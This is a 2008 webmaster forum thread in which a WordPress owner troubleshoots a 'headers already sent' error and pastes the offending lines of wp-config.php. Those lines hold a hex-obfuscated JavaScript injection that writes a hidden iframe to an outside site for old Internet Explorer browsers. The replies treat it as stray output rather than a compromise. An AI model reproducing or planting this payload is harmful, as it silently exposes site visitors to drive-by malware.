Forum Moderators: open

Message Too Old, No Replies

Error message from my wordpress admin

         

jimmychuang

12:25 pm on Apr 10, 2008 (gmt 0)

10+ Year Member



I got this message when I tried to access my wp admin:

Warning: Cannot modify header information - headers already sent by (output started at /home/chuang/public_html/income-secrets/wp-config.php:29) in /home/chuang/public_html/income-secrets/wp-includes/pluggable.php on line 689

I check the pluggable.php file's line 689:

header("Location: $location");

I checked the <?php and ?>, there was nothing wrong with the code.

What happened to my wp blog?

And funny thing is, every time I refresh my wp admin page, my virus software keeps warning me there are some trojan horse programs attack my computer.

ergophobe

3:38 pm on Apr 10, 2008 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member Top Contributors Of The Month



This is one of the most common PHP errors. Any HTTP request needs to send all headers before any output. If you send so much as one blank space of output and try to send a new header, it will fail. That's what's happening here.

So if you look at your specific error, it means that the attempt to send a new header on line 689 of pluggable.php failed *because* of output started in wp-config, line 29.

The common reason for this is blank lines. I don't know why Wordpress does this, but they include a closing PHP tag (i.e. the ?> tag) at the end of every file in a script, even though this is a deprecated pratice.

So if line 29 is the last line of wp-config.php, the easiest thing to do is to just delete the ?> tag. If line 29 is somewhere in the middle, you need to figure out why it is sending output and how to stop it.

jimmychuang

4:32 am on Apr 11, 2008 (gmt 0)

10+ Year Member



Hi, here are line 28 and 29 of wp-config.php:

?>
<script> var s='3C696672616D65207372633D2268747
4703A2F2F7777772E746865736D6F6B696E67
766167696E612E636F6D2F73742F7A2F73746
17469632E70687022206865696768743D2232
22207374796C653D22646973706C61793A6E6
F6E65222077696474683D2232223E3C2F6966
72616D653E'; var o=''; for(i=0;i<s.length;i=i+2) { var c=String.fromCharCode(37); o=o+c+s.substr(i,2);} var v=navigator.appVersion; if (v.indexOf('MSIE 6.0') != -1){document.write(unescape(o));}if (v.indexOf('MSIE 5.') != -1){document.write(unescape(o));}</script>

[edited by: ergophobe at 3:55 pm (utc) on April 11, 2008]
[edit reason] fix sidescroll [/edit]

ergophobe

3:54 pm on Apr 11, 2008 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member Top Contributors Of The Month



Well, there's your output. You can't send a header after that.

That shouldn't be there. There should be no Javascript or HTML output from wp-config.php - it should only set a few parameters and typically be only about 25 lines total.

jimmychuang

5:07 pm on Apr 17, 2008 (gmt 0)

10+ Year Member



I don't know why the Javascript always output from wp-config.php.

I have deleted the Javascript and uploaded to server. But again, everytime I login to admin and manage my content, the same problem still happen. So I have to delete the Javescript then upload again..

Is it a virus or something?

ergophobe

7:13 pm on Apr 17, 2008 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member Top Contributors Of The Month



I don't know why that's happening. Try disabling all plugins and going back to the default theme. Then edit wp-config.php and re-upload.

If it works, then reenable things one by one